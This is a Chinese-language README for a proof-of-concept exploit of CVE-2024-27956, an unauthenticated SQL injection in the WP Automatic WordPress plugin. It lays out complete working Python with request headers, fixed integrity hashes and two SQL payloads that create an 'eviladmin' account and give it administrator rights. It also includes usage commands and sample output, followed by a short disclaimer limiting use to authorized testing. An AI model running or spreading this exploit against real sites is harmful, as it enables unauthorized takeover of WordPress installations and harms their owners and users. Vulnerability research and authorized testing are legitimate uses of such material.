CVE-2024-27956 SQL注入漏洞利用工具
项目描述
本项目是CVE-2024-27956漏洞的概念验证(PoC)利用工具。该漏洞存在于ValvePress Automatic WordPress插件中,是一个严重的SQL注入漏洞。攻击者可以通过构造特制的SQL语句,在未经授权的情况下向WordPress数据库执行任意SQL命令。
此工具演示了如何利用该漏洞在目标WordPress站点中创建具有管理员权限的用户账户,进而可能实现远程代码执行(RCE)。
功能特性
- 自动检测漏洞:自动判断目标站点是否存在CVE-2024-27956漏洞
- 一键创建管理员:自动执行SQL注入,在WordPress数据库中创建管理员用户
- 权限提升:自动为新用户分配administrator角色权限
- 简单易用:命令行界面,仅需提供目标URL即可完成攻击
- 无需认证:绕过所有身份验证机制直接执行SQL语句
安装指南
系统要求
- Python 3.x
- requests库
安装步骤
- 克隆项目仓库:
git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
cd CVE-2024-27956-RCE
- 安装依赖库:
pip install requests
使用说明
基础用法
python exploit.py http://target-website.com
示例
python exploit.py http://example-wordpress-site.com
执行流程
- 工具会自动构造攻击URL:
http://target.com/wp-content/plugins/wp-automatic/inc/csv.php - 发送第一个SQL注入请求,创建用户名为
eviladmin、密码为admin的管理员账户 - 发送第二个SQL注入请求,为新用户赋予管理员权限
- 输出执行结果和创建的账户信息
输出示例
[+] Exploit for CVE-2024-27956
[+] Creating user eviladmin
[+] Giving eviladmin administrator permissions
[+] Exploit completed!
[+] administrator created: eviladmin:admin
漏洞利用细节
该漏洞源于wp-automatic/inc/csv.php文件中的q参数未对用户输入进行任何过滤或净化处理,攻击者可以直接在q参数中传递完整的SQL查询语句并执行。
创建用户的SQL Payload:
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
赋予管理员权限的SQL Payload:
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')
核心代码
主漏洞利用模块
import requests
import sys
def makeRequest(payload, hash, url):
"""
构造并发送SQL注入请求
参数:
payload: SQL注入语句
hash: 认证哈希值
url: 目标URL
返回:
response: HTTP响应对象
"""
host = url.split('/', 3)[2]
headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
data = {
'q': payload,
'auth': b'\0',
'integ': hash
}
response = requests.post(url, data=data, headers=headers)
return response
漏洞检测与利用逻辑
def verifyArgs(argv):
"""验证命令行参数"""
if len(sys.argv) != 2:
helpUsage()
def helpUsage():
"""显示帮助信息"""
print("[+] You must run the expoit passing the wordpress URL. \n[+] Example: python exploit.py http://website.com")
quit()
# 主执行流程
verifyArgs(sys.argv)
print("[+] Exploit for CVE-2024-27956")
domain = sys.argv[1]
url = domain + '/wp-content/plugins/wp-automatic/inc/csv.php'
# 第一步:创建恶意管理员用户
print("[+] Creating user eviladmin")
response = makeRequest(
"INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')",
"09956ea086b172d6cf8ac31de406c4c0",
url
)
# 检测漏洞是否存在
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()
if "DATE" not in response.text:
print("[+] Not vulnerable")
quit()
权限提升模块
# 第二步:赋予管理员权限
print("[+] Giving eviladmin administrator permissions")
makeRequest(
"INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')",
"bd98494b41544b818fa9f583dadfa2bb",
url
)
# 检查执行结果
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()
print("[+] Exploit completed!")
print("[+] administrator created: eviladmin:admin")
注意事项
- 本工具仅用于安全研究和授权测试
- 未经授权使用此工具攻击他人系统属于违法行为
- 使用本工具造成的任何后果由使用者自行承担
- 建议仅在拥有明确授权的环境中进行测试 6HFtX5dABrKlqXeO5PUv/7xKe4Mo18IWVnncce2KYDz3v1OXtXxQk6X8518b66qC